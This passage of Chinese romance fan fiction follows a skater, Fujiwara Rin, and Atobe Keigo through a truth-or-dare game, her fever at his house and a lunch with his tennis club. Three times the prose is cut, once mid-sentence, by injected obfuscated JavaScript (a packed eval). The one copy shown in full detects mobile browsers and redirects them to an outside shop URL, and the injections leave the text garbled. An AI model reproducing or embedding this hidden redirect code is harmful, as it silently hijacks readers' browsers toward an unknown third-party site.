“嗯…首先,长得帅?”凛略微思考,脸上带着朋友间闲聊的坦然。坦白说,她有点外貌协会,人长得好看,总是更赏心悦目一些。她说这话时,周围人的目光似乎极快地从她身旁的迹部景吾脸上掠过。毕竟,论及“帅”,这位冰帝之王本身就是行走的标准。迹部本人倒是八风不动,连眉毛都没抬一下,仿佛讨论的话题与他毫无关系。 “其次,最好不粘人。但需要的时候,他一定要在。”凛继续道,语气认真了些。毕竟训练和比赛日程很满,她很难像普通情侣那样时刻相伴。如果是个粘人的伴侣,她应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这个过于利落、甚至显得有些“无情”的答案,显然没能满足大家的八卦欲。短暂的安静后,立刻有个平时就爱闹腾的男生拖长了语调,语带深意地追问,目光还往某个方向瞟:“真的假的?那迹部同学呢——?”这话立刻引来一片心照不宣的附和声和压低的窃笑。毕竟,迹部对她的种种特殊关照,在很多人眼里绝非仅仅是“多年好友”那么简单。 气氛瞬间变得有些微妙而紧绷。凛感到身侧的空气似乎凝滞了一瞬。她还没来得及开口,一个细声细气的声音插了进来,是之前被凛帮助完成俯卧撑的那个文静女生。她大约是看到凛被“围攻”,想帮她解围,声音不大却清晰:“那个……我觉得,在场的人里,喜欢藤原同学的人,可能反而有不少吧……” 这个小小的声援让起哄的方向瞬间转变。大家先是一愣,随即纷纷笑起来,注意力成功地从“凛喜欢谁”转移到了“谁可能喜欢凛”这个更安全、也更便于起哄的话题上,七嘴八舌地开始猜测或调侃,算是将这个敏感的话题揭了过去。 游戏继续。热浪重新席卷。然而,当瓶子第三次顽固地停在凛面前时,连她自己都觉得不可思议了。 “连续三次都是我?”凛挑起眉,怀疑的目光扫过在场表情各异的众人。 “这概率也太不科学了吧?”她的语气里明显带上了“你们是不是合起伙来在搞我”的指控意味。 忍足侑士推了推眼镜,带着他特有的关西腔调侃:“这说明命运今晚格外眷顾你呢,藤原桑。” 14. chapter14 房间里顿时爆发出更响亮的哄笑和惊叹。 “藤原同学今天绝对是命运的眷顾者!” “快!这次必须是大冒险!” “对!大冒险!不能放过!” “好吧,大冒险。” 她抽出签条,上面写着:【与坐在你右边的人交换上衣,直至游戏结束。】 凛下意识看向自己的右侧——空的。迹部景吾的位置上空无一人,他刚才似乎出去接电话了。于是,顺延下去,右边第一位变成了忍足侑士。 “所以,”凛拿起签条,对着忍足晃了晃,脸上带着点“这可是规则”的无奈又觉得好笑的表情,“忍足桑,麻烦你配合一下。” 周围瞬间爆发出看好戏意味的惊呼和口哨声。 凛利落地站起身,她今天穿着修身的运动外套,里面是一件贴身的运动短背心。她干脆地拉下拉链,脱下外套,露出了线条流畅的双臂和因常年训练而紧实漂亮的腰腹肌肉,马甲线清晰可见。 “哇哦——!” “这肌肉线条!太厉害了!” 凛坦然地将外套递给有些愕然的忍足。忍足的目光从旁边空着的座位移开,从善如流地开始解自己衬衫的纽扣,一边脱一边不忘调侃:“看来今天是我比较走运呢,藤原桑。” 交换完成。 凛穿上忍足那件明显大了一号的衬衫,灵巧地将下摆在腰间打了个结,又把过长的袖子随意挽到手肘,原本不合身的衬衫立刻被她穿出了一种随性又利落的感觉,意外地不错。 而忍足接过凛那件修身的运动外套,试图穿上——结果显而易见,肩膀和手臂处根本绷不住。 “看来是我失算了,”忍足耸耸肩,明智地放弃了挣扎,只穿着里面的浅色打底衫坐了回去,“藤原桑的腹肌,不愧是职业选手的觉悟啊。” 凛整理着衬衫袖子,头也不抬地回敬:“忍足桑也不差啊。” 迹部景吾拉开门,重新踏入和室的那一刻,房间里原本喧闹起哄的声音像是被按下了暂停键,出现了一个微妙的凝滞。 他几乎是立刻就察觉到了异样。空气里弥漫着比刚才更甚的尴尬的躁动,混合着看好戏的意味。而他的视线,几乎是在落回座位的瞬间,就被凛身上那件眼熟到刺眼的深蓝色的男士衬衫攫获了——那是忍足今天穿着的。 他的目光扫过凛,随即锁定在此刻只穿着浅色打底衫的忍足侑士身上。忍足姿态放松,甚至带着点玩味的笑意,正展示着手臂线条,回应着凛的调侃。那件属于凛的运动外套,被随意地搭在忍足身侧的榻榻米上。 “怎么了?”他在自己的位置重新盘膝坐下,声音不高,却带着一种天然的掌控力,让周遭那点不自然的寂静被打破。 “啊,迹部,你回来了。”忍足推了推眼镜,率先开口,语气轻松,“你正好错过了一场精彩的‘交换’。藤原桑连续第三次抽中大冒险,签条要求和她右边的人交换上衣。” 他摊了摊手,示意了一下自己身上的打底衫和旁边的外套,又指了指凛身上的衬衫,笑容无辜,又带点唯恐天下不乱的意味,“你刚好不在,顺延下来,我就‘荣幸’地成了这位幸运儿。” 周围的同学这才仿佛找回了声音,七嘴八舌地补充起来,夹杂着笑声和“迹部君你刚才没看到真是太可惜了”之类的感慨。 迹部听完,视线先掠过凛身上那件过于宽大的衬衫。衬衫的领口微微敞开,露出清晰的锁骨线条,属于忍足的男士香水味似乎隐隐飘散。然后,他的目光转向忍足,看着对方那副“事不关己”又暗含调侃的姿态——明显是做给他看的。 “啊嗯。”迹部淡淡地应了一声,听不出什么情绪。指尖习惯性地拂过眼下泪痣,动作优雅依旧。他没有对这场“交换”发表任何评价,没有质问,没有不悦,甚至连一丝多余的惊讶都没有表露。 他拿起自己面前那罐一直没怎么动的饮料,指腹感受了一下罐身的温度,随即,对离门口最近的一个男生说道:“让酒店再送些冰镇的饮料来,种类多一些。” 顿了顿,又补充,“零食点心也送一些,当作夜宵。” 这个安排井井有条,转移话题的姿态自然无比,瞬间将众人的注意力从刚才那场略带暧昧色彩的“交换”拉回了寻常的聚会补给,仿佛刚才那片刻的审视与沉寂从未发生。 被点名的男生应声跑出去。 忍足侑士镜片后的眸光闪了闪,嘴角噙着的笑意更深了些,却也没有再多说什么,只是端起自己的杯子,慢悠悠地喝了一口。 游戏在夜色渐深中散去,人群三三两两地离开,返回各自的房间。走廊上,喧嚣褪去,只剩下宁静的光晕。 迹部景吾不动声色地放缓了脚步,与走在后方的凛并肩。他目光平视前方,状似随意地开口,声音在安静的走廊里显得格外清晰: “你刚才游戏里,‘被看见’之后的话……似乎没说完?” 凛闻言,侧过头看他,有些意外他突然问起。 “问这个干嘛?”她顿了顿,目光在他没什么表情的脸上逡巡,带点探究,“研究一下世交的择偶标准?你不像是对这种东西感兴趣的人。” “感兴趣?本大爷确实没那个闲心。”他停顿了一下,夜风吹动两人的发梢与衣角,“只是觉得,话说一半,不像你一贯的风格。” 这个解释听起来合情合理。 “也没什么。”凛沉默了几秒后开口,声音比刚才轻了些,“就是觉得……人很难被真正看见。所以觉得,被看见这件事本身,其实已经无限趋近于爱了。” 话音落下,走廊里似乎更安静了。 远处的海浪声变得清晰,像是为这句话加上的注脚。 “无限趋近?”片刻后,迹部缓缓重复了这个词。 凛侧头看他,廊灯在他完美的侧脸上投下明明暗暗的光影。 “嗯,无限趋近。”她点了点头,表情褪去了游戏时的喧闹外壳,流露出底下更真实的思考,“当‘看见’足够彻底,就已经完成了爱里最困难的部分——理解和接纳。它和‘爱’之间的那条分界线,已经模糊到可以忽略不计了,所以无限趋近。而这也是最有意思的地方——爱里面最珍贵的部分,在人们把它命名成‘爱’之前,其实就已经完成了。” “无限趋近。你不觉得这个词很浪漫吗?”她轻轻笑了笑,“浪漫到……不太适合在那种闹哄哄的场合说出来。当然,说是矫情也行。” 这话带点哲学思考,也带点私人感触。对迹部而言,倒像是一种变相的坦诚——她并非刻意隐瞒,只是觉得场合不合适。 “啊嗯。”他应了一声,声调平稳,“很……藤原凛式的结论。”他没有评价“浪漫”与否,也没有继续追问,像是接受了这个解释。 “你呢?想过‘理想型’吗?”凛向前走了半步,歪了歪头,反问迹部。 这个问题抛得突然,却又在情理之中。既然他听完了她的,那么礼尚往来,似乎也合情合理。 而且……这个问题也带点试探,是凛对迹部一直以来超规格行为的,试探。 迹部停下脚步,完全转过身。他沉默了两秒,似乎在衡量问题的重量,然后才开口,“作为一个概念,思考过。” 这个开头很谨慎。 “不过,更像是一种基于理性和社会期待的框架性设想。比如,足够独立,拥有与自己匹配的视野和格局,能够理解并尊重彼此的领域。”他继续道,说得抽象而冷静,不带太多个人色彩。 凛噗嗤笑了一声,摇了摇头,眼神是毫不掩饰的调侃,“你这描述的,哪里像是‘理想型’?根本就是在筛选一个顶级商业合作方,或者一个战略盟友?还得是能通过你们迹部家严苛尽职调查的那种。” 迹部被她打断,倒也不恼。 “啊嗯,有区别吗?”他反问,语气里带着理所当然的傲慢,“能够长久立足的关系,无论是商业还是私人,底层逻辑本就相通。信任、尊重、互利、清晰的边界,以及应对变数的能力。” “哪里合理了?”凛翻了个白眼,“听起来一点浪漫或者心动的影子都没有。冷冰冰的,全是风险评估和收益预期。” “浪漫?心动?”迹部重复了这两个词,语气里带着一丝若有若无的、属于上位者的审视,“那种短暂、盲目、容易被荷尔蒙左右的情绪波动,作为长期关系的基石,可靠吗?” 他的反问尖锐而现实。 凛眨了眨眼。 确实,从迹部家选择长期稳定关系的角度来看,他的筛选标准很合理。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“听起来,”凛总结道,声音里带着明显的调侃,“像是‘先有蛋还是先有鸡’那个古老的哲学难题。” 她用轻松甚至有点无厘头的比喻,一下子冲淡了刚才那段对话里近乎学术研讨般的严肃气氛。她似乎放弃了在这个抽象的逻辑迷宫里继续与他缠斗。毕竟,这个问题或许本身就没有标准答案。 “啊嗯,”他应了一声,算是接受了她这个放弃深究的姿态,“或许吧。” 他没有再坚持阐述自己的理论。两人之间恢复了沉默,只有脚步声在空旷的走廊里规律地回响。这沉默却不显得紧绷或微妙,反而有种心照不宣的意味。 走到凛的房间门口,凛停下脚步,转过身,手搭在了门把上,准备道晚安开门。 “衣服。”迹部开口。 “嗯?”凛一时没反应过来。 “忍足的这件,”他语气平淡,伸出手,动作自然得仿佛这是一件早已约定好的事情,“给我。顺路还给他。” 他的理由直接且合理——顺路,归还。没有多余的解释,也没有给她拒绝的余地。 凛低头看了看自己身上的衬衫。一直穿着别人的衣服,感觉是有点奇怪。 “哦。”她应了一声,很干脆地开始解衬衫纽扣,利落地脱下,递给迹部。 “进去吧,晚上凉。”说完,他不再停留,对她微一颔首,便转身朝着自己房间的方向走去,手里拎着那件衬衫。 凛站在门口,看着他的背影转过拐角消失。她摇摇头,推开自己的房门走了进去。 而走廊的另一头,迹部景吾走到忍足房门口,并没有立刻敲门。他停下脚步,低头看了看手中拎着的、属于忍足侑士的衬衫。走廊昏黄的灯光下,他脸上没什么表情,只有眼眸深处掠过一丝冷淡的微光。 他没敲门,径直走到这一楼层尽头,那里有一个不起眼的衣物临时收纳箱,用于放置客人需要丢弃的衣物。 拉开箱盖,没有任何犹豫,松手。 那件深蓝色的衬衫悄无声息地落入箱内,淹没在柔软的布料之中。 然后,他转身,朝着自己房间的方向走去。 夜,还很长。 15. chapter15 修学旅行后,凛又回到了按部就班的生活节奏里,全力准备着12月中旬的总决赛。早上去冰场训练,之后去学校上课,下午放学继续去训练,晚上则要研究棘手的古文、复盘当天的练习成果。 日程排得满满当当,连轴转的疲惫加上季节交替,她生病了。 起初只是喉咙发痒,她没太在意,直到晚上开始打喷嚏、流鼻涕,她才意识到——好像感冒了。 “肯定是昨天在冰场待太久,出汗后又吹了风……”电话那头,伊莎贝尔的声音隔着听筒传来,带着机场的背景广播和一丝焦急——凛的父母因公务需要一同出国一周——现在正准备登机,“你一个人在家,又生病,怎么行?” 凛窝在沙发里,身上裹着毯子,鼻音浓重地安慰母亲:“没事啦,就是小感冒,阿姨白天会来做饭打扫的。我自己能行。” “白天可以,晚上呢?”伊莎贝尔语气坚持,“刚才爸爸和你迹部叔叔通过电话了,让你暂时去Alex那边住几天。他那边有人照料,离学校和训练场也近。你收拾一下必需品,等下司机会过去接你。” “Mom——!”凛还想抗议。 “听话,Aria。” 挂断电话,凛望着天花板叹了口气。去迹部家暂住?以她现在这副鼻塞头痛、动不动就想打喷嚏的狼狈样子? 但妈妈本来就对她一个人在家不放心,现在又生病……她认命地起身,开始往小行李箱里塞睡衣、训练服、课本和……一大盒纸巾。 一小时后,凛拖着小行李箱,站在了迹部家的客厅里。水晶吊灯的光华让她有些晕眩,她努力忍住又一个喷嚏,带着浓重的鼻音,对站在面前的少年解释: “……总之,情况就是这样。要打扰你几天了。” 管家适时地出现,微笑着接过了她的行李送上楼,留两人继续说话。 迹部景吾看着她。她穿着简单的帽衫和长裤,眼睛不像平时那样亮得逼人,反而蒙着一层水汽。看着她这副难得有些脆弱的模样,他眉头微蹙,递过去一方质地柔软、边缘绣着精致暗纹的深色手帕。 凛看着那方一看就价格不菲的手帕,连忙摆手。用手帕擦眼泪还行,擦鼻涕的话……反正她是不会再用这条手帕了。 “这个就行。”她从自己口袋里摸出一包纸巾,抽出一张,小心翼翼地擤了擤鼻子。昨天到今天不知道用了多少张纸巾了,真的是有点痛啊。 迹部拿着手帕的手顿在半空,还没来得及收回,另一只手却几乎是无意识地伸了出去,手背轻轻贴上了她的额头。 这个动作明显超出了普通的友谊范畴。她下意识地往后缩了一下,拉开了那短暂接触的距离。 迹部也迅速收回了手,神态自若,好像只是在进行一项必要的检查。 “没发烧,”他得出结论,语气一如既往的冷静,“应该是普通着凉。” “嗯。”凛揉了揉依旧发痒的鼻子,声音闷闷的,带着点自嘲,“所以,为了你的健康着想,这几天我们还是保持距离比较好。” 迹部没接话,转身倒了一杯温度稍高的热水,递到她手里。凛双手捧着温热的杯子,小口啜饮着,暖意顺着喉咙滑下,驱散了些许不适。 为了打破这有些微妙的沉默,她找了个话题:“说起来,我一直有点好奇,为什么日本人这么爱用手帕?连卖手信的地方都有好多手帕,是觉得环保吗?” 迹部在她对面的沙发上坐下,姿态依旧优雅:“啊嗯,有环保的考量,习惯和文化礼仪的因素更多。正式场合,或需要注重仪容时,手帕比纸巾更得体。” 两人就着手帕文化、生活习惯差异这类安全的话题闲聊了几句。然而,空气中似乎总漂浮着一种若有似无的张力。这种熟悉又带着点陌生的尴尬气氛让她有些坐立难安。 她将杯中剩下的水喝完,站起身:“那……我先上去休息了。” “嗯。”迹部应了一声。 “你的房间在楼上右手第二间,空调温度设定在适宜睡眠的档位。浴室里有的毛巾和洗漱用品都是全新的,你可以泡个热水澡,不过时间不要太久,微微有汗意就可以了,太久容易虚脱反而消耗体力。早点睡,今晚就别看你那些训练笔记了。药放在床头柜,温水服用。如果夜里觉得不舒服,或者需要什么……”他顿了顿,“我就在隔壁。” 这一串细致入微的叮嘱,与他平日华丽张扬的风格很是不同。凛先是愣了下,又忍不住笑了起来,有点意外,又有点被妥帖照顾的暖意。 她站在楼梯口,转过身,脸上带着点戏谑的神情,隔着一段距离问他:“还有别的嘱咐吗,Alex Mommy?” 迹部景吾的眉梢挑动,冰蓝色的眼眸眯起,带着一丝危险的警告:“哼,看来生病也没能让你的胆子变小,竟敢用这种不华丽的称呼。” 见他没有别的话,凛一边抬脚往楼上走,一边背对着他,潇洒地挥了挥手,故意拖长了语调,将那“不华丽”的称呼贯彻到底: “Night night, Alex Mommy~” “晚安。”迹部看着她消失在楼梯转角,耳边似乎还回响着那带着鼻音、却异常轻快的语调。他抬手揉了揉眉心,最终,那紧绷的嘴角还是抑制不住地,微微向上扬起了一个小小的弧度。 算了。看在她生病的份上。 第二天清晨,迹部景吾按时起床,用完早餐,却迟迟未见凛的身影。他看了眼时间,远超她平日训练的时间。想到她昨晚的感冒症状,他微微蹙眉,起身走向客房。 他在门外敲了敲:“Aria?” 里面没有任何回应。 又敲了两次,并提高了音量,依旧是一片沉寂。 “本大爷进来了。”迹部没再犹豫,推门而入。房间窗帘未完全拉开,光线昏暗,但他一眼就看到床上的人蜷缩着,似乎睡得很沉,但呼吸声却有些粗重。 “Aria?”他走到床边,低声唤她。 凛没有任何清醒的迹象,只是无意识地蹙着眉,嘴唇异常嫣红,甚至有些干裂。 迹部心下明了,伸手用手背贴上她的额头——果然,一片滚烫。 他正准备去拿体温计,烧得迷糊的凛却仿佛感知到了这片刻的清凉。她含糊地咕哝了一声,竟抬手抓住了他的手腕,直接将他的手掌拉下来,不由分说地按在了自己滚烫的脖颈下,甚至还无意识地蹭了蹭,发出一声舒服的的叹息。 迹部身体瞬间僵住。灼热的皮肤温度之下,是她清晰而急促的脉搏跳动。一下一下,敲在他指尖,也仿佛敲在他心上。 “Aria,醒醒。”他尝试着用力,想把手抽出来。“你发烧了,松手。” “Quiet…!(安静!)”她发出不耐的呓语,像是在责怪这凉意的不安分,随后又陷入昏沉的睡眠,完全没有醒来的意思。 迹部被她这蛮横的态度弄得一时无语,又无法强行挣脱,只得用空着的另一只手拿出手机,拨通了管家的电话:“送一杯温水和退烧药到客房。” 管家很快端着东西出现,推开房门看到眼前的景象时,饶是训练有素也险些没控制住表情——他们家少爷竟半弯着腰,任由藤原小姐抓着他的手枕在颈下…… “少爷,水和药。” “放着。”迹部示意。 管家依言放下,目不斜视地退了出去,心里却翻江倒海。 就在这时,凛似乎觉得他掌心变热了,失去了降温效果。她迷迷糊糊之中,有些粗暴地将他的手翻了个面,将微凉的手背贴上自己的脸颊和脖颈。又过了一会儿,连手背也沾染了她的体温变得温热,她竟像是嫌弃一块用过的退烧贴般,毫不留恋地将他的手甩开,然后翻了个身,用被子把自己卷起来。 迹部看着自己被“用完即弃”的手,再看向那个心安理得背对着他的身影,简直被她这种理所当然的态度气笑了。 纯粹是把他当人形降温工具了?还是可以随意切换冷热面的那种? 一股荒谬感混杂着无处发作的无奈涌上心头。他压下那点莫名的情绪,重新拿起床头柜上备好的温水和退烧药,再次尝试叫醒她,声音比刚才稍微加重了些:“Aria,起来把药吃了。” 这次,凛被彻底惹毛了。睡眠被反复打扰,烦躁达到了顶点。她看也不看声音来源,凭着感觉就用力挥手一推,声音里全是不耐烦的火气:“No…!Go away!(不要!走开!)” 水杯应声而倾,大半杯水泼在了迹部的衬衫袖子和前襟上。 迹部整个人一僵。 他缓缓低头,看着自己瞬间变得狼藉一片的衬衫——水渍迅速晕开,布料皱巴巴地贴在身上,冰凉的触感瞬间渗透布料,紧贴皮肤,带来一片黏腻的不适。 一股火气直冲头顶。 他迹部景吾,什么时候被人这么“泼”过冷水?还是以这种毫无道理的方式。 偏偏对方是个烧得满脸通红、意识不清、根本没法讲理的病人。 他闭了闭眼,深吸一口气。现在不是跟她计较的时候。 “景吾少爷?”闻声轻轻敲门进来的管家,看到房内的景象也是微微一愣,但良好的素养让他立刻恢复了平静,“需要为您准备更换的衣物吗?另外,石川医生已经到了。” “嗯。”迹部从喉咙里挤出一个音节,将空了的杯子放回床头柜,又看了一眼床上再次陷入昏睡、对刚刚制造的混乱一无所知的凛,认命般扯了扯湿透黏腻的领口,“让他上来吧。” 家庭医生石川很快提着药箱进来,对房间内略显凌乱的气氛视若无睹,专业而迅速地开始检查。 片刻后,他收起听诊器:“三十八度五,不算特别高,肺部没有杂音。看情况应该是病毒性感冒引起的高热,可以先观察,让免疫系统自己工作,如果六小时后体温还不下降或者继续升高,再考虑用退烧药。但眼下最重要的是补充电解质,防止脱水,椰子水或者专门的电解质饮料都可以。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016642|194210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “喂不进去。”迹部语气迹部在一旁补充,语气依然带着一丝未散的郁结。 石川医生推了推眼镜:“昏睡状态下强行喂水容易呛到。可以试试用吸管,慢慢来。” 医生留下医嘱和备用药物后便离开了。管家按照指示准备好了插着细吸管的椰子水。迹部将吸管小心地凑到凛唇边,但她根本不配合,甚至嫌烦地想挥手打开。 他脸色一沉,耐心告罄,不再试图温和地唤醒她,而是伸手,微微用力捏住了她的下巴,迫使她无意识地张开了嘴。随即,他将吸管口迅速而稳定地塞了进去。 或许是清甜冰凉的椰子水过于诱人,或许是身体真的发出了极度缺水的警报。吸管入口的瞬间,凛虽然依旧没有睁开眼,但喉咙吞咽的本能却战胜了昏沉的意识,很快就将一整杯喝得干干净净。 傍晚的时候,凛彻底退烧醒来。头脑恢复了清明,身体虽然还有些乏力,但那股灼人的燥热和酸痛感已然退去,轻松了很多,只是胃里空荡荡的。 她洗漱了一下,换了身干净舒适的衣服,走出客房,迹部已经回来了,正坐在客厅的沙发上看文件。 “醒了?”他放下文件,目光在她脸上逡巡,似乎在确认她是否真的恢复了。 “嗯,饿醒了。”凛揉了揉肚子。 “你早上发烧了。“他提醒她,目光沉沉。 凛被他看得有点不自在,隐约觉得那目光里不止是单纯的你生病了的意思,好像还包含了点别的什么。 她甩甩头,大概是错觉吧。 “嗯……我没做什么过分的事情吧?”她试探着问。但高烧时的记忆如同隔着一层毛玻璃,模糊不清。 “我生病的时候,脾气可能不太好。”她显然很有自知之明。 迹部好整以暇地看着她,双臂抱胸,没说话。那姿态,那眼神,仿佛在说:你觉得呢? “……我不会真的做了什么很过分的事吧?”一股不祥的预感掠过心头,凛有点心虚。她隐约记得好像推开了什么。 迹部看着她已经完全恢复清明的眼睛,里面只有坦诚的询问和一点点因不确定而产生的懊恼,确实不像记得她曾如何“征用”他的手当降温工具,又是如何“用完即弃”。他心下莫名有些复杂,最终只挑了能说的部分,语气带着刻意的控诉:“啊嗯,岂止是过分。药不肯吃,水不肯喝,乱发脾气,还泼了本大爷一身水。” “呃……”凛顿时语塞,表情有点尴尬。泼他一身水……确实是她能干出来的事。 “Sorry?”凛双手合十,做出一副诚恳认错的样子,试图用玩笑缓和气氛,“迹部sama大人不计小人过?看在我是个病人的份上?” “哼。”迹部看着她讨好的笑容,非但没有缓和,反而微微倾身,带着点压迫感,“本大爷可是很记仇的。” ”那我请你吃饭赔罪?”凛眨了眨眼,从善如流。 迹部轻哼一声,故意挑剔:“和你一桌吃饭?看着你那点可怜的运动员餐,连调味料都要精确计算,本大爷可没那个食欲。” 凛被噎了一下,无奈道:“那你说怎么办?” “先欠着。”他淡淡地说, “等本大爷想好了,再问你讨回来。” 这是一个开放式的 “债”,没有明确时限和内容。 “Deal(成交)。”凛几乎是不假思索地就答应了,爽快得让迹部反而生出了一丝细微的不满。 他看了凛一眼。 这么毫不犹豫?是觉得当下可以逃过这个难题而感到轻松?还是觉得,无论他将来提出什么要求,都在她可以接受?又或者,她根本就没把这份“债”真正放在心上? “有吃的吗?饿死了。”凛显然以为这个话题已经翻篇,注意力迅速被更迫切的生理需求占据。 “嗯。”迹部收回目光,也收回他发散的思路,叫人送上吃的。 清淡的和食,但极其精致:熬得米粒开花、点缀着细碎鸡丝和碧绿葱花的粥,几碟调味清淡的小菜——玉子烧、凉拌菠菜、烤鳕鱼。每一样都分量适中,一看就是为病后初愈、需要补充营养的人量身搭配的。 凛坐在餐桌前小口吃着,速度不快,却很专心。病后初愈的虚弱让她整个人笼罩在一层柔和的光晕里,少了平日的锋利,多了几分难得的沉静与易碎感。 迹部坐在她对面,慢条斯理地切着牛排,目光不由自主地落在她白皙的脖颈上。早上,她的手就是那样毫无顾忌地拉着他的手,紧贴在这些地方。 一个念头不受控制地冒了出来: 凛,你是对所有朋友都这样吗? 生病时,意识模糊时,都会如此……“物尽其用”,将靠近的人当作安抚病痛的慰藉,当作驱散燥热的凉意来源? 还是…… 只对本大爷,才会这样不设防? 在毫无意识的情况下,做出那样几乎跨越了所有安全距离的举动? 这个问题没有答案,至少现在没有。 16. chapter16 第二天清晨醒来,凛好像彻底恢复了。沉重和酸软一扫而空,连鼻塞都消失了,只剩下喉咙还残留着一点干涩。身体似乎早已习惯了高强度的运转模式,骤然停下一天的训练,反而让她骨头缝里都透出一种想要活动的痒意。 她提前和教练请了假,没去俱乐部。感冒初愈,立刻上冰进行高强度跳跃和旋转显然不明智,但做些舒缓的陆地体能训练,激活一下肌肉,应该没有问题。恰好,迹部家就有一个设备相当专业的体能训练室,那是迹部给自己配置的。 白金汉宫果然有自己的优势啊。凛一边踏上跑步机慢速热身,一边在心里默默感叹。 完成了一套舒缓的核心力量和柔韧性训练,凛带着一身薄汗,准备回房间冲个澡。刚走到连接主宅的走廊,就听到客厅里传来热闹的谈笑声。她脚步顿了顿,但也没多想,径直走了过去。 果然,冰帝网球部的正选们几乎都到了,或坐或站,占据了宽敞的客厅。忍足侑士正靠在壁炉边与泷荻之介说着什么,目光不经意瞥向门口,看到了她。 镜片后的眼睛,瞬间闪过一丝毫不掩饰的讶异。 她穿着合身的运动服,发梢因为汗水而微湿,从训练室方向走来,这姿态,分明是常住于此的节奏。 “藤原桑?”忍足开口,语气平和,但那微微上扬的尾音和镜片后闪烁的光芒,都透露出他此刻内心涌动的探究欲。 “忍足桑。”凛朝忍足点了点头,又对客厅里其他齐刷刷投来视线的少年们展露了一个礼貌的微笑,“各位,上午好。” 凛对这些少年有点印象,之前在关东大赛观众席上见过,但名字和人还不太对得上号。 然后,她的目光越过众人,落在角落沙发里沉默如山的高大少年身上,“好久不见。桦地。” 桦地崇弘抬起眼,对上她的视线,低沉地回应:“是。” “你们网球部聚会啊?”凛看向坐在单人沙发上,正慢条斯理品着红茶的迹部景吾,带着点询问。 “啊嗯。”迹部景吾放下骨瓷茶杯,随即姿态自然地为她介绍,“向日岳人,芥川慈郎,宍户亮,凤长太郎,日吉若,泷荻之介。” 被点到名字的少年们反应各异:向日岳人眼睛瞪得圆圆的,毫不掩饰好奇;芥川慈郎似乎刚从瞌睡中惊醒,茫然地眨眨眼;宍户亮“啧”了一声,但目光里也带着审视;凤长太郎温和地点头致意;日吉若眼神锐利地打量着她;泷荻之介则露出了礼貌的微笑。 所有人的目光都聚焦在她身上,带着难以掩饰的好奇——毕竟,这可是开学第一天就和他们部长一起坐车来上学、引发了不少讨论的女生,而且看现在这情形,两人的关系远比他们想象的更密切,更“日常”。 迹部介绍完毕,目光在她因运动而微红的脸颊和略显随意的训练服上快速扫过,“先上去换身衣服,等下一起午餐。” 凛点了点头,心里却忍不住腹诽:一起用餐?我和你们网球部的男生,也吃不到一块儿去啊……她的食谱和他们的午餐,根本是两个世界。但此刻显然不是讨论这个的时候。 看着她消失在楼梯转角,忍足推了推眼镜,看向迹部,语气带着熟悉的、意味深长的调侃,“看来,现在世交的照顾范围,已经扩展到居家服务和共享训练设施了?” “她父母临时有事出国,暂时借住几天而已。训练室空着也是空着。”迹部重新端起茶杯,神态自若,连眉毛都没动一下。 忍足闻言,嘴角的笑意更深了,却没再追问,只是“哦——”了一声,拖长了语调。 午餐时,长餐桌上的气氛因为她的加入而更加活跃。少年们终究是按捺不住八卦之心,问题接踵而至。 “所以,你就是开学第一天和迹部一起坐车来上学的女生?”向日岳人最先发问,眼睛亮晶晶的。 “嗯,是啊,搭了个顺风车。”凛坦然承认。 “藤原桑和桦地……原来真的认识?”凤长太郎有些惊讶。 “是呀,小学的同学。”凛笑着看向桦地,后者抬起眼,对她点了点头,算是确认,然后又低下头继续专注地对付盘中的烤肉。 “那和迹部呢?”宍户亮更直接,问出了众人最关心的问题。 “家里是世交,在英国的时候正好又是邻居,所以是很小就认识的朋友了。”凛言简意赅,这解释合情合理。 少年们发出“哦——”的恍然声,但眼底的好奇显然并未完全满足。毕竟,“世交”、“邻居”、“从小认识”这些词,本身就可以涵盖从“点头之交”到“青梅竹马”的广阔图谱。 “所以这次回日本,是……命运的重逢?”忍足推着眼镜,语气里的调侃意味十足。 这个问题比之前的都更进了一步,带点些许浪漫主义的色彩,精准地指出两人跨越时间和地域再次产生交集的特殊性。 凛听到这个问题,动作微微一顿。她抬眼看向忍足,对方正似笑非笑地看着她。 忍足侑士…… 凛对他的印象相当清晰。这位关西口音的“天才”,开学第一天就主动且自来熟地自我介绍是迹部的好友及网球部的搭档。在学校为数不多的接触里,他对自己和迹部之间的关系表现出超乎寻常的兴趣,说话时常带着点弦外之音,似乎很热衷于捕捉迹部任何不符合帝王常态的反应。 现在问出这个“命运的重逢”,与其说是想从她这里挖出什么惊天动地的八卦,不如说,是忍足想看到自己那位永远游刃有余的搭档,出现一些“不那么迹部”的反应。 想到这里,凛心里反而轻松了些。 “没那么戏剧化,只是父亲工作调动的结果,刚好又凑到同一个地方了而已。A natural consequence(自然而然的结果)。” “重逢是真的,至于命运……”她看了一眼对面姿态优雅地用着餐、仿佛事不关己的迹部,又转回忍足这边,“忍足桑,少看点浪漫爱情小说吧。现实生活里,没那么多的故事。” 她不仅将命运这个略带宿命和暧昧的词,彻底拉回到现实层面;还用故事这个词,将那种被刻意营造的浪漫氛围轻松解构。 好像在说:“你这脑洞开得有点大”。 话音落下,不知是谁没忍住,“噗嗤”一声笑了出来,大概是觉得她这个“少看小说”的吐槽精准又好笑。 “原来如此。”忍足镜片后的眸光闪了闪,但没有丝毫被怼回来的不悦。或许是因为这个答案没能激发出他期待中某人的反应,他没有再继续追问。 